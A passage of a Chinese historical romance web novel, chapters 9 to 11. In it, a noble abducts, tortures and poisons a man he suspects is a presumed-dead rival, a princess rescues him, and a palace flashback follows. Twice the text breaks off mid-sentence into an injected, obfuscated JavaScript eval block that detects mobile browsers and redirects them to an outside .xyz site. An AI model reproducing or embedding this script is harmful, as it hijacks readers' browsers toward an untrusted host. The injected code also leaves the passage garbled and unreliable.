姜宛央最初创办圆月社,这“圆月”二字,正是出自他名。 这个长安城中爱慕谢临舟的女子不计其数,可若说了解,姜宛央自认远胜李繁宁。 当年姜宛央对谢临舟的喜欢几乎到了痴狂的地步,她读谢临舟读过的书,研究谢临舟擅长的剑法和马术,谢临舟写的文章她能逐字背诵,甚至连他的字,她也能仿到八分像。 她观察谢临舟的一切,连他自己都未能察觉的小习性,姜宛央都一清二楚。 这也是萧平晔今日要姜宛央到场的缘故。 可想到沈骤打量她的那个眼神,犹如市井小民,令人作呕,姜宛央浑身都不舒服,神情愈发冷淡,“容貌易仿,风骨难描,我不是六公主,没有收集赝品的习惯,以后这种事,别再叫我来。” 圆月社早已失了最初的意义,沦为姜家结交权贵的工具,姜宛央本不愿再来。 她一拂袖,彻底离开了。 萧平晔原地站了片刻,眉目逐渐凝重。 正这时,姜定轩从角落走来,讥笑道:“这就是你的法子?我看也没什么成效。” 萧平晔抬目,“你想怎样?” “言行举止可以遮掩,身上的痕迹也可以祛除,若单用眼睛就能分辨真假,那天下刑罚皆可废了。”姜定轩扯了下唇角,森森道:“装么,我倒要看看,死到临头还能不能装。” - 周礼安拉着沈家兄弟在江边品酒,那酒是他令小厮从马车上搬的上品,入口醇香,但后劲极大,沈琅酒量不好,多饮几口后便东倒西歪,醉醺醺的,吐了沈骤一身。 沈骤虽未醉倒,但也双目迷离,踉踉跄跄地被小厮带下去更衣了。 周礼安撑着条案,不知沈骤已然离场,迷迷糊糊拉过沈琅说:“太像了,真的太像了……但是我觉得你、嗝,比那个谁好多了,那个谁,成天一副清高傲世的样子,表字仪景,还真把自己当月亮了,你可别学他!” “不学不学。”沈琅抱着周礼安的胳膊,胡乱回应:“谁要当月亮,我……不当月亮……” “那你便是我的好兄弟,来!再喝!” “喝!” 两人举杯,一阵牛头不对马嘴地豪饮,沈琅中间又吐了几回,待酒坛子空了方各自告辞。 沈家的马车就停在曲江池正门外,小厮扶着沈琅上马车,沈琅抬脚时忽然想起自己还有个兄长,大着舌头说:“等、等等,沈骤呢?他怎么还不出来,快催……” 小厮哄着他说:“沈大公子方才喝得多,已经先回去了,说是二公子稍后自己走便是。” “哦……”沈琅这才安分上了车。 而曲江池另一道门外,几个侍从鬼鬼祟祟地将一袋麻袋抗上了姜家的马车。麻袋里还露出了一双鞋,里面俨然是个活人,只是那人像是完全晕过去了,软塌塌地被丢进了车厢里。 不一会儿,马车便扬尘而去。 对面的阁楼二楼站着两个人影,将一切都尽收眼底。 侍卫道:“世子,这沈大公子落在姜定轩手里,恐怕……” 裴序耷了下眼皮,半响道:“去给公主府递个信。” 10.第九章 沈骤被重重丢在草垛上,墙顶上的水“滴答”打在他手背,一股阴湿腥臭的味道钻入鼻息,熟悉的气味令他指骨下意识屈了一下,还没等他意识完全清醒,头套倏地被扯掉,铁窗外的一缕微光在昏暗的审讯室里的万分刺眼,他眼皮微动,忽然一声闷哼。 有人踩住了他的手背,一下、又一下地碾磨。 沈骤艰难睁开眼,见有个身影居高临下地站在他面前,逆着光看不清那人的轮廓,但他知道那是谁。 见他醒来,姜定轩很快就开了口,“谢临舟,谢大公子,我真是没想到,有生之年竟还有再见你的一天,你命可真硬啊。” 沈骤整张脸都皱起来,醉醺醺地说:“这是哪里……头好痛……” 周礼安的酒烈得很,那是姜定轩特意从“蓬莱仙岛”拿的上等酒,沈骤说头痛不是假的。 姜定轩蹲下身时酒气扑面而来,他笑了下道:“你从前就不善饮酒,这几年倒是酒量见涨,要是以前,不到两壶你就该醉过去了。” 沈骤撑起身甩了甩脑袋,满脸憋得通红,想爬起来,一只手却还被姜定轩踩在脚下,只听他道:“对了,你这手……不知道哪个神仙大夫给你接的手筋,但就算华佗在世也做不到痊愈,想来还疼得很吧?” 他说罢用刀柄敲了两下沈骤的手腕,正正敲在当年他一刀刺进去的位置。 沈骤看起来有点懵,嘶了声道:“姜公子,你踩我做什么?快放开,我要吐了,呕……” 姜定轩却不理会他的装模作样,唇畔的弧度逐渐放平,神色也变得阴冷。 此情此景,仿佛往事重现。 当年就在这样不见天日的大牢里,姜定轩第一次见到如此狼狈的谢临舟。 所有人眼里,谢临舟生就一副青松骨相,好像就该永远光鲜亮丽、永远白璧无瑕,当姜定轩推开大牢的铁门,看到那个少年被折磨得人不人鬼不鬼,奄奄一息趴在角落时,心中除了震撼,还有无尽的快感。 谢临舟有太傅亲身教导,自小养出了个藏珠握瑾的气质,于读书上更是天赋极佳,在弘文馆时姜定轩便处处低他一头,为此没少受到父亲的责骂,所以再大些时候,姜定轩便将主要精力都放在了武学上,一时也是独有风范,可后来谢临舟与李业衡同拜大将军贺世北门下,没几年他骑马射箭就样样精通,姜定轩屡屡败给他,心中早就积怨已久。 可即便如此,最恨谢临舟的还不是他,而是太子李元敏。 世家大族虽然对子女要求甚严,但再严也严不过圣上对太子。 然太子天资愚钝,文不成武不就,常常遭圣上训斥,可谢临舟就不同了,他乃世人口中的少年天才,圣上对其亦是赞许有加,时常叫他进宫说话,见他马术上颇有天赋,甚至还亲自教授点拨,连自己那匹御用宝驹都赠给了他。 此类事数不胜数,圣上对谢临舟的偏爱有目共睹,宫里一度传出流言,说谢临舟名为谢家养子,实为圣上流落在外的私生子。 毕竟算算谢临舟的年纪,那时延德帝尚未登基,在宫外与旁人生了个孩子也不是没可能。 要不是后来谢临舟与李繁宁情投意合,这流言传着传着就要成真了。 不过太子对他依旧是又恨又忌惮,明里暗里也使过一些小手段,可惜不知道是不是谢临舟运气太好,回回都能化险为夷。 可到底老天是公平的,终于也有他跌入谷底,翻不了身的一天。 太子自是迫不及待想要出出气,奈何被拘于深宫无法擅自行动,便叫来姜定轩商量,两人一拍即合,姜定轩就这么拿着东宫的玉牌明晃晃地进了大理寺。 彼时谢临舟刚结束一轮审讯,身上的皮肉都还渗着血,姜定轩被那血腥味冲得差点吐出来,心里又是惊惧又是兴奋,他低低笑道:“还以为薛铎会念在师兄弟的情分上对你手下留情,看来他也是恨极了你,哦,也对,你杀了他最敬重的老师,他怎么可能放过你?” 谢临舟似是已经精疲力尽,闻言只是掀眸看了他一眼。 见他不理会,姜定轩故意踩住他的手,脚下力道毫不收敛,迫使谢临舟给出反应,直到看他面上扭曲,才愉悦道:“真该让裴序来看看你现在的样子,看看他心里无所不能的谢临舟,现在是什么鬼样子。” “可惜不能。”姜定轩莞尔,“你的好兄弟为了你大闯内廷,挨了几十板子,现在还被侯爷关在侯府祠堂里出不来,至于公主么,区区一个公主,她就是跪死了也救不了你。” 他阴恻恻道:“谢临舟,这回没人能救你。” 那天,他用锋利的匕首挑断了谢临舟右手,那只写得一手好字,能舞剑能拉弓的手。 谢临舟痛到失声流泪,却连求饶的力气都没有。 姜定轩看着他在脚下蜷缩发抖,就像对待路边的一条野狗,毫不留情,因为他知道无论是谢家的案子还是梓州兵败案都没有转圜的余地。事情又牵扯到三皇子,三皇子毕竟是圣上的儿子,这案子要尽快了结,通敌的罪名就必须另有人担。 谢临舟在这个节骨眼下撞上来,不管是不是他,他都必死无疑。 既然如此,姜定轩自然就没什么可顾虑的,这些年他因为谢临舟吃的所有亏都变作了拳头和匕首,谢临舟毫无招架之力,只能受着。 若非是薛铎提前上值回来,恐怕谢临舟另一只手也保不住。 不过那又如何,薛铎自己还不是失了分寸,一个怒上心头,刑讯时就把谢临舟弄死了。 震惊朝野的两桩大案就这么草草了结,伴随着薛铎渎职被贬,外放地方,所有人都以为这件事就此封尘,再也不会有后续了。 直到不久前沈骤的出现。 尽管各方势力几次试探都没有结果,但姜定轩绝不相信世上真的有这般巧合。 他死死盯着沈骤,像是较量一般,“来人,给我把他吊起来!” 这是虽是禁军内狱,但狱卒也知道规矩,头疼道:“姜大人,没有逮捕令,万一——” “我让你给我把他吊起来!”姜定轩一转头吼道。 “是、是是是……”姜家这位主儿不是个讲理的善茬,狱卒只好硬着头皮,把沈骤拖起来上了枷锁,吊在了刑架上。 拉扯间沈骤袖口掉出一枚极为袖珍的牌子,上面印了个红色的“赌”字,狱卒捡起来呈了上去,“这好像,是城西那家地下赌坊——” 狱卒忽然想起来,那赌坊前不久已经被六公主带人抄了,太子还因此被禁足,不由谨慎住了嘴。 姜定轩接过一看,果真赌坊客人会发放的牌子。沈骤这会儿好像吓清醒了,他挣扎道:“姜公子,你这是做什么?快放开我!” 姜定轩不由眯了下眼,将那牌子收起来,“别装了,说吧,当初谁助你逃离长安,你的党羽都有什么人?此次回到长安,怕不是另有图谋!” “什么党羽什么图谋,你到底在说什么?” 姜定轩嗤笑一声,顺手拿过火盆里的钳子,夹了枚烧得火红的碳靠近,沈骤呼吸急促,想要后退却退无可退,“我根本不知你在说什么,你们长安的贵人都是这般待客的吗!我是犯了什么罪,你囚我于此可有公函?若是没有,你就是平白动用私刑,我要去京兆府,我、我要上御史台弹劾!” “弹劾?”姜定轩讥笑,钳住他的下颔说:“你一个早该死透的阶下囚拿什么弹劾,我告诉你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370209|183216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日你就是死在这里,我保证也不会有人知道原委,但你要是说实话,我还能把你交给三司,留你几日活命的机会!” “你究竟要我说什么、呃——” 红碳嵌入沈骤身体,他疼得一个激灵,浑身抽搐起来,咬牙道:“我说、我说我说——” 姜定轩却把那红碳抵得更用力,阴恻恻道:“说,把你如何逃离长安,把当年之事原原本本交代清楚!” 沈骤叫苦连天,疼得直抽抽,“当、当年究竟是什么事,姜公子,您倒是给我个提示……” “你!”姜定轩丢掉火钳,一把掐住他的脖子,“还敢跟我绕圈子,谢临舟!” 沈骤满脸涨红,“我、不是……” 就在沈骤一张脸由红转紫,眼看要窒息而死时,姜定轩却忽然放开他,扯了下唇道:“当年薛铎把你打得半死你都没松口,我知道这些手段对你无用。” 说罢,姜定轩扭头对一旁的侍卫说:“给他喂药。” 侍卫当即掰开了沈骤的嘴。 狱卒在旁看着,想要劝阻,“姜大人,这……” 各衙门为了对付一些嘴硬如石的犯人都有自己的手段,禁军也不例外。狱卒认得这药,这药毒性剧烈,虽不致死,但一旦毒入筋脉,浑身就仿佛被百虫啃噬痛不欲生,比皮开肉绽还要折磨人,此时再严刑拷打,几乎没人扛得住。 听说这沈大公子才大病过一场……这可是六公主亲口定下的驸马,今日人要是在这间大牢出了半分差池,以公主的脾性,他这个狱卒恐怕也活到头了! 但姜定轩这般凶戾,狱卒也不敢多言,思来想去,只好趁人不注意溜出去,忙不迭就要去通风报信,谁料刚奔出军巡院,就见一辆马车急停在阶前。 车帷被挑开,里面的人一经露面,狱卒“砰”地就跪下了,“公、公主,那个沈——” 然不待狱卒说完,李繁宁已经径直走了过去。她裙摆带起一阵森森寒气,在这四月天里渗人得很。 狱卒下意识摸了摸脖颈。 这时沈骤已经毒发,他额角青筋暴起,因为疼痛整张脸都在用力,喉间也溢出剧烈的呻.吟,铁链被他晃得哐哐乱响,姜定轩却气定神闲地坐在椅上,直到他说:“我是、我是!” 姜定轩才噌地站起来,上前拽过他的衣领说:“你承认了?你是谢临舟!” “我是……”沈骤强忍着痛道:“我是谢临舟,你说什么都对,姜公子想让我认什么我都认,求你……” 然而这种屈打成招被迫承认的口吻不是姜定轩想要的,他收紧了手上的力道,咬牙切齿道:“你耍我?” 似是被他三番两次戏弄,姜定轩愈发狂躁,“我再问你一次,你究竟是不是!” 沈骤痛到几近失去意识,哑声道:“我不是都说了……” 姜定轩脸色沉下来,“我看你能抗到几时去!” 姜定轩说罢,猛地夺过侍卫手中的药瓶,掐住沈骤的下颔要将整瓶药都倒进他嘴里,奈何沈骤拼死抵抗,竟一口咬在他虎口上。 姜定轩吃痛,一把将其甩开,正要抬脚踹下去时,身后忽然传来一道声音: “姜定轩!” 姜定轩一惊,被迫住手。 转头看去,李繁宁已快步走来。 他没众目睽睽下带走沈骤就是不想惊动李繁宁,没想到她竟来得这样快。姜定轩自是不甘计划被打断,抬眼给侍卫使了个眼色,两个侍卫便一左一右挡在了沈骤面前。 而后姜定轩走上前,有意拦住李繁宁,“牢狱污秽,公主怎么亲自——” 然而没等他说完话,“啪”地一声,李繁宁一巴掌甩在他脸上。 11.第十章 这巴掌来得太快太响亮,在这幽静空旷的审讯室里格外惊人。 一时间竟无人反应过来,连姜定轩都怔住了。他被打偏了头,一脸的难以置信,须臾气息微颤,强忍着怒气道:“这是禁军内狱,不是执鸾司!公主想放肆也得挑对地方!” “你也知道这是禁军内狱,不是你姜家动用私刑的后院!”李繁宁森然看他,“今日之事我定上奏御前,你还是想想怎么解释为好。” 说罢她便要越过他去。 姜定轩横臂拦在她面前,“不劳公主操心,我乃左右卫中郎将,卫戍皇宫是份内职责。此人与当年谋逆通敌的大案有关,为保圣上安危,我自是要着手将此事调查清楚,万不能放任歹人游走长安,倒是公主——” “今日闯我禁军内狱,难不成是想包庇嫌犯吗!” 他把“谋逆通敌”、“包庇嫌犯”几个字咬得掷地有声,有意以此逼退李繁宁。 李繁宁冷漠地弯了下唇,“好大一顶帽子,你说扬州都知兵马使的儿子通敌谋逆,可有证据?左右卫办案,原来可以不讲证据么?” 姜定轩道:“只要公主不加以阻挠,口供稍后自然会有。” “这样啊,那我今日怀疑姜家谋逆通敌栽赃陷害,是不是也能捆了你姜定轩审过再说?”李繁宁向前一步,倏地拔出姜定轩腰间的佩刀,横在他脖颈道:“既然如此,那姜大人不如跟我走一趟?” 刀刃划出一道刺耳的声响,姜定轩周遭的侍卫像是终于从那一巴掌回过神来,拔刀上前道:“大人!” 眼看刀锋亮出,青雘在后头斥道:“大胆!若是伤了公主,姜大人恐怕担待不起!” 姜定轩攥紧了拳头。 先不说他的确没有证据,此事就算闹到御前也是他理亏,何况圣上一向偏帮李繁宁,上回太子一事已经连累到姜家,此时不是再生事端的时机。 可今日把人放了,再想在李繁宁眼皮子底下把人带走就难了。 脖颈上的刀刃划破了肌肤,姜定轩隐隐觉得刺痛。 长久的沉默,他闭了闭眼,咬牙说:“都让开!” 侍卫犹豫,“大人……” “叫你们让开!”姜定轩气道:“把人放了!” 侍卫众人面面相觑,只好收刀退开,适才挡在沈骤面前的两人也挪了脚。李繁宁看过去,见沈骤还喘着气,只是一张脸被汗浸湿,嘴唇也毫无血色,昏昏沉沉,看起来快要疼晕过去了。 她握着刀柄的手收紧,看向姜定轩的眼神冷得能掉出冰渣。 那瞬间姜定轩仿佛又看到了当年的一幕,不由轻轻打了个寒颤。脖颈上有血渗出,流到了衣襟里,他咽了下唾沫,微微仰颈道:“把解药、给他服下。” 侍卫也不敢怠慢,忙给沈骤喂了药,又解了镣铐。失去绳索束缚,沈骤当即就要向前倾倒,李繁宁手里的刀“噹”地落地,疾步将他扶住。 “能走吗?” 沈骤缓缓点了点头。 姜定轩捂住脖颈,死死盯着李繁宁一行人离开的背影。 这时,门外侍卫匆匆上前,见血从他的指缝里流出来,踌躇道:“大人,您、没事吧……” 姜定轩看那侍卫一眼,那侍卫才接着说:“宫里、宫里来人了,圣上宣您进宫……” 姜定轩默了片刻,一脚踹倒了旁边的桌椅。 - 沈泊易来晚一步,看着公主府的马车扬尘而去,神色凝重。 驾车的车夫道:“老爷,要不要拦下来?” 沈泊易思忖片刻,摇头道:“罢了。” 那边沈骤服下解药后神态舒展许多,但意识却逐渐模糊。 马车空间不够,李繁宁只得将他放在重席上,令他上半身靠在自己怀里。 这个角度,他脖颈上被掐出的红痕触目惊心。 李繁宁伸手想触碰,指尖却在发颤。 仿佛被拉回了那个暴雨如注的暮春,她跪在御书房外,不知跪了多久,只觉得雨好大好大,乌云成片笼罩在头顶,整个皇宫昏天暗地,不见天光,而她始终见不到延徳帝…… 那天,一个小太监跌跌撞撞地从雨幕里跑来,大喊着说:“出事了、大理寺出事了!” 李繁宁猛地回过头,雨水模糊了视线,那太监的声音却比平日更为清晰,只听他吓得大哭:“大理寺来报,谢大公子不堪受刑,已经、已经没了!快、快把此事报给圣上!” 天河决堤,雷声颤颤,李繁宁听不到任何声响,整个人仿佛被劈碎了丢进了这场大雨里。 她没有见过谢临舟在牢里的情形,但此后三年这个画面却成了李繁宁挥之不去的噩梦。 梦里他受尽折磨,最终死在这些刑具下,一遍又一遍…… 而每一幕都远比现在更触目惊心。 李繁宁觉得后怕。 滚烫的泪落在沈骤脸颊,沈骤眉心一蹙,努力睁开一条缝隙,隐约能看到身边人的轮廓。 她又哭了。 别…… 他好像很痛,唇瓣微张想说点什么,李繁宁俯身去听,他却昏了过去。 不知颠簸了多久,沈骤做了一场很长的梦。 梦里回到了弘文馆,他听到蝉鸣的声音,闻到了桂皮的清香,还掺杂着点艾草、丁香之类的药香,那药香不重,顺着风飘过来,让人不自觉地走神。 他侧首看去,精准找到那个味道的来源。 似乎察觉到他的目光,李繁宁看过来,圆圆的杏眸缩了一下,又慌不择路地躲开。 谢临舟收回视线,眼里沾上了笑。 他笑得很淡,却还是被旁边的裴序捕捉到,“你笑什么?” “没什么。”谢临舟继续写字,语调却轻快。 裴序似不信,顺着他刚才的方向把珠帘另半边的姑娘都瞧了个遍,然后皱起眉头说:“你真看上姜五娘了?” 谢临舟头都不抬,“没有。” “那你在看谁?” 谢临舟却不答了,但他没有否认,他真在看人。 裴序还想再问,忽然上首“咚”地一声响,先生敲了戒尺道:“裴世子,你的文章写完了?” “……”裴序不吭声了,末了睨了谢临舟一眼,兀自生着闷气。 这几日谢临舟奇奇怪怪,平日下学都是跟他结伴而行,近来却总跟着三皇子李业衡往宫里跑。 想着想着,裴序又冷飕飕横了前面的李业衡一眼。 李业衡忽然感到背脊发凉,转头对上裴序的冷脸,一头雾水地摸了摸鼻子。 回宫时他对谢临舟说:“我最近是哪里得罪裴序了,他怎么对我横眉冷眼的?” 谢临舟看着前面的永寿宫的屋檐,“不知道,兴许是又和他父亲吵架了吧。” 李业衡落了他半步,看着他的背影揣度道:“你最近也有点怪,我去给皇祖母请安也就罢了,你怎么也常常往永寿宫跑?” 谢临舟脚下一慢,“我也去请安,不是答应太后要帮她抄经吗?” 确实有这么回事,李业衡“唔”了声说:“还以为你随便说说……不过如今都快放榜了,我说谢大才子,你未免也太自信了些,就一点也不紧张?” 谢临舟只是淡笑。 李业衡又别有深意地说:“不知道还以为永寿宫藏着什么宝贝呢。” 李业衡话里有话,那试探的意味谢临舟听得出来,但他没有回答。 这短暂的沉默就足以给李业衡答案了,李业衡轻轻一哂。 到了永寿宫,两人一起给邝太后请了安。 太后一脸慈眉善目,因卧病在床周身药香缭绕,李繁宁身上淡淡的药香好像就是这里来的。 见祖孙二人谈心,谢临舟便捧着佛经退了下去。 他轻车熟路地绕到旁边寝宫后的一座小园子,李繁宁就蹲在花圃旁,手里捧着只幼猫,他出声时吓了她一跳。看到是他,方松了口气。 宫里严禁养猫,就算偶尔有野猫出没也是遭宫人打杀,但李繁宁性子温和纯善,就像李业衡平日里说的,路边死一只蚂蚁她都要躲起来偷偷哭。 这只猫才两个月大,大概是被宫里的捕鼠夹伤了腿,若就这么放任不管,必死无疑。 李繁宁便将它放在永寿宫悄悄照看,谢临舟无意间发现,这只猫便成了两个人的秘密。 他偶尔会从宫外捎带伤药和猫食,李繁宁对此感激不尽。 一来二去,两人之间关系也拉近了不少。 谢临舟翻开佛经抄写,李繁宁便坐在花坛边逗猫。 她软言软语地与那幼猫说话,那声音在初夏时节和着蝉鸣,宛如天籁,不知不觉便到了日落西山。 谢临舟临走时递给她一样东西,李繁宁接过,竟然是一盒千年墨。 她微微讶然,这墨是上年波斯进贡之物,统共就两盒,一盒皇后在年节时赏给了姜五娘,另外一盒不久前圣上赏给了裴序。当时李繁宁羡慕得紧,据说这墨千年不褪色,用来作画再好不过了。 可惜她这个公主并不受宠,这样紧俏的东西是不会落在她手上的。 李繁宁喜上眉梢,又迟疑道:“哪里来的?” 谢临舟道:“同裴序赛马赢的。” 李繁宁犹豫,她既喜欢,又不好收下。 谢临舟道:“当我谢你的。” “……谢我什么?” “谢公主那幅画,以公主的画技,值得最好的笔墨。” 深宫之中,李繁宁擅长藏锋,从未有人能从她克制的笔墨里看出什么玄机。她怔了片刻,没有再执意要把此物还给他,那块墨分明是冰凉的,此时却热得发烫。 后来没几日,裴序忽然开口像他讨回这盒墨,“裴方宜那小丫头素来如此,看旁人有什么都想要,见姜五娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374912|183216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用千年墨便四处搜罗,姑娘家就是烦人。” 裴方宜是裴序的小堂妹,裴序提起她时总是一脸烦躁,谢临舟道:“实在不巧,前几日刚给了旁人。” 裴序却以为他舍不得,冷冷道:“我拿小马驹跟你换,我那马可是龚州培育的战马,再养两年定要比圣上赏你的那匹还霸气。” 谢临舟失笑,“真给别人了。” 裴序眉心微蹙,“你给谁了?谢川?那小子不是不爱读书吗,还是三皇子?” 谢临舟却不答,转而道:“好墨多的是,我替你搜罗就是。” 裴序愈发奇怪,接连几日追问此事都未果,但很快,他就知道那个人是谁了。 一日入宫,裴序在宫道拐角处和李繁宁迎面撞上。 他个子高,李繁宁一个不防往后跌了两步,书袋落地,里面的几张画稿掉了出来。 虽也是自幼相识的交情,但李繁宁和裴序并不熟,裴序这人脸生得冷,李繁宁甚至有些怕他,脱口而出就是一句对不住,然后忙弯腰去捡地上散落的文具。 裴序皱着眉头,屈尊降贵地替她捡了两张,一阵墨香就这么猝不及防钻入鼻息。 寻常石墨没有这等沁人的香气,这是千年墨独有的味道。 裴序顿了一下,狐疑地看了李繁宁一眼,李繁宁则是慌里慌张地夺回自己的画稿,抱着书袋仓促走了。 裴序盯着她的背影皱起了眉头,当即出宫去了趟谢府。 傍晚的云霞璀璨,谢川正在前院练功,抬头就见裴序一阵风似的穿过了长廊。 他仿佛到了自己家,没等谢川打招呼就径直闯入了谢临舟的院子。 “你把那盒墨送给六公主了是不是?” 谢临舟站在刀架前擦他那杆长枪,转头就见裴序满脸乌云密布地杵在自己面前,他手上动作顿了顿,微微挑起的眉梢似乎有点意外,他问:“你从宫里来的?” 倒是裴序不高兴,“你管我从哪里来,你就说是不是六公主,你最近没事就往宫里跑,说是给太后抄经,是去见她的吧?” 谢临舟没有否认。 裴序蹙眉,费解道:“她哪里好?” 谢临舟把长枪插回刀架上,笑问:“她哪里不好?” “没才华没家世没背景,容貌也平平,宫里的皇子公主属她最没存在感,胆子还小,好像随便碰一下能吓死她,甚至都不如外面官宦家的小娘子落落大方,这样的人根本配不上你。” 裴序的嘴像淬了毒,表情却很诚恳。 李繁宁在诸多皇子公主里的确是不起眼,她不像四公主李华瑶张扬跋扈,一举一动都端着嫡公主的排场,也不像三皇子李业衡才华外露,虽不是嫡出却很受延徳帝喜爱。 生母早逝,失去母家庇护又被帝王冷待的公主从不引人注目,裴序在今天之前,或许都没有注意过这个人。 不过……谢临舟有一点不解,他抬眼看裴序,同样诚恳地问:“这长安的小娘子,在你眼中,有模样好看的吗?” 裴序轻轻掀了下眼皮,短暂的思索之后,却是答不上来。 在裴序看来这世上所有小娘子都长着一张“麻烦”的脸,烦人得很,总之整个长安没人配得上他,那自然也配不上谢临舟,何况是那位最不起眼的六公主。裴序甚至一时想不起她的闺名,于是愈发嫌弃,道:“还不如姜五娘,好歹还有点才情。” 谢临舟不与他争论,嘴角那抹弧度在裴序看来就是一副油盐不进的样子。 裴序深吸一口气,索性一屁股坐在台阶上,把头扭到一边不说话。谢临舟总是这样,他身边总是围着一群人,裴序却觉得那些人都配不上他。 但少年心性,又忍不住好奇,“那她到底是哪里好?” …… 沈骤胸口一痛,睁开眼,就看到一条蓬松的尾巴从眼前扫过去。月奴大摇大摆地踩在他身上,慢慢悠悠转过身,往他胸口一蹲,一猫一人四目相对。 乍然从梦中抽离,他双目无神,似乎还没完全醒过来。 当年这只猫伤好后,谢临舟便问它的名字,李繁宁支支吾吾说它没有名字。 她说,既不是它的主人,还是不要起名为好。 可一日谢临舟进宫,便看到李繁宁蹲在花圃旁,小声地喊它,月奴。 月奴,谢临舟莞尔笑了。 李繁宁起身撞见他时满脸通红。 后来李繁宁碍于宫规不能再养它,又舍不得放这瘦骨凌旬的小猫在外流浪,她百般为难之下,谢临舟便接养了它。 他真的养了它好久,他以为他能等到他的公主长大,等到她开府别住……但谢府惨遭变故的那晚,满地血淋淋的尸体,谢临舟并未看到它。 他以为它也和那些人一样,在那个雨夜,彻底消失了。 原来……还活着啊。 “月奴……”他无声唤它。 12.第十一章 子时的梆子声敲响,月奴“嗖”地一下钻出了床帐。 沈骤蓦然回神,攥着被褥的手缓缓松开,手腕麻木已久的经脉陡然阵痛起来,他猛一蹙眉,缓了半响艰难起身。 帐角的鎏金熏球晃动,泄出几缕定神的香气,和他梦里别无二致,沈骤顿了顿,脑海中闪过李繁宁和姜定轩对峙的画面,然而他掀开床帐,屋里并没有人。 沈骤松了口气,摸了摸袖口,那枚赌坊的牌子果然被姜定轩取走了。 姜定轩下手狠,那毒药毒性剧烈,即便即时服用解药,体内的余毒一时半会儿也排不出来,沈骤下了床,浑身无力,没走两步就胸闷,他下意识要扶住旁边的桌几,奈何手上使不上劲,手肘一滑,扫落了桌上的烛台。 “咣当”一声,烛台落地的同时,屋门也被推开,一道稚嫩又亢奋的声音在寂静的夜里显得万分突兀: “你醒啦!” 进来的人侍女打扮,头顶双髻,看起来年纪不大,约莫十三四岁的样子,满脸的天真活泼。 李繁宁身边的贴身侍女沈骤多数认得,譬如青雘,就连外院几个端茶倒水的都是从前永寿宫的人,面前这个他没见过,但却眼熟,没等他仔细打量,小丫鬟便又开了口:“公主守了你一宿,刚才离开一会儿,你等着,我去喊她。” 沈骤想叫住她,然而一抬手便岔了气,他只好摁住胸口咳嗽,就这么转眼的功夫,珠帘轻晃,李繁宁从门外迈了进来。 忽而四目相对,二人皆是一默。 见他虚弱至此,李繁宁走上前,抬手便想探他的额头,沈骤抵着唇下意识躲开,任她的指尖在半空中停顿。 气氛倏地凝滞了一瞬。 他很快退后一步,拱手道:“今日多谢公主相救,若无公主,沈某只怕已经命丧黄泉了。” 他脖子上被姜定轩掐出了青痕,说话时还哑着声,忍不住又咳了几下。 李繁宁无事发生一般收回手,转而从青雘手中取过汤药,搁在桌上,说:“太医说你体内余毒未清,夜里恐发高热,把这药喝了便卧床将养吧。” 沈骤犹豫道:“多谢公主关怀,但今日事出突然,我若迟迟未归父亲必然担忧,恐怕不好久留。” “我自会写信告知沈大人。”李繁宁抬眼看他,语气淡了下来,“这个时辰已经宵禁了,你难道是宁愿被武侯抓去夜宿大牢,也不愿意在我的公主府老老实实呆上一夜吗?” 她语气不善,沈骤唇瓣微动,“沈某惶恐。” “既然惶恐——”李繁宁深吸一口气,又缓声道:“何必拿自己做饵呢。” 沈骤张了张嘴,又重重咳嗽起来。 李繁宁上前一步,但也克制住了想扶他的本能,她抬了手又放下,朝旁边吩咐道:“阿彩,去把隔壁厢房收拾出来,请沈公子移步,把药热一热,再让柳太医来一趟。” 那叫阿彩的小丫头连忙飞一般地去了。 今夜的确是走不了,沈骤没有再做无谓的挣扎,“那便……叨扰公主了。” 说罢他试探性地退了几步,见李繁宁没有阻止,这才一步步退到廊下候着。 望着那抹清瘦的背影,李繁宁心中五味杂陈。 沈骤能察觉到她落在自己背上的目光,他不敢回头,夜风下的背脊显得僵硬。 这两间屋舍紧挨着,中间的墙板并不隔音,李繁宁能听到他偶尔走动倒水的声音。 她仔细听着这些动静,高悬一整日的心才逐渐落下,终于有空一观青雘早前递来的信笺。 那是白日沈骤在诗会写的诗,短短半日这诗就传遍了长安,且不说姜五娘恼怒离去,事后就连那些个贵女们都对沈骤避之不及,生怕哪日自己也被拿来当众调侃,与那些微贱舞姬齐名。 虽说李繁宁已经让青雘将扬州的人手撤了回来,但青雘似是怕李繁宁陷得太深,她乐于看到有人能哄公主高兴,可若是这种昙花一现的假象,只怕来日公主一朝梦醒,会更加绝望,是以青雘还是趁机将在扬州搜寻来的书信一并呈了上去。 都是沈骤在扬州给各舞娘作的诗,字迹歪歪扭扭,内容粗鄙不堪,相较之下给姜五娘那封已经相当收敛了。 李繁宁盯着那些信笺看了许久。 她深知字迹是能伪装的,但一个人已经有了自己的风骨,强行折断,扭转成截然相反的另外一种风格,那需要经年累月的模仿练习,可即便再刻苦,也都难以掩盖自身。 正如谢临舟的字,曾在长安风靡一时,许多书肆甚至将其做成了字帖供人临摹,然而仿得再像,终究能看出模仿的痕迹。 假的就是假的,只要是假的,总会有迹可循。 但他没有,除了那张脸,他的人,他的字,全都没有过往的痕迹,好像谢临舟这个人真的死了,凭空来了个与他毫无关系的沈骤。 李繁宁攥紧了手里的信笺,青雘见她眸色愈发暗下去,以为她终是能辨明真假,心里微松了口气。 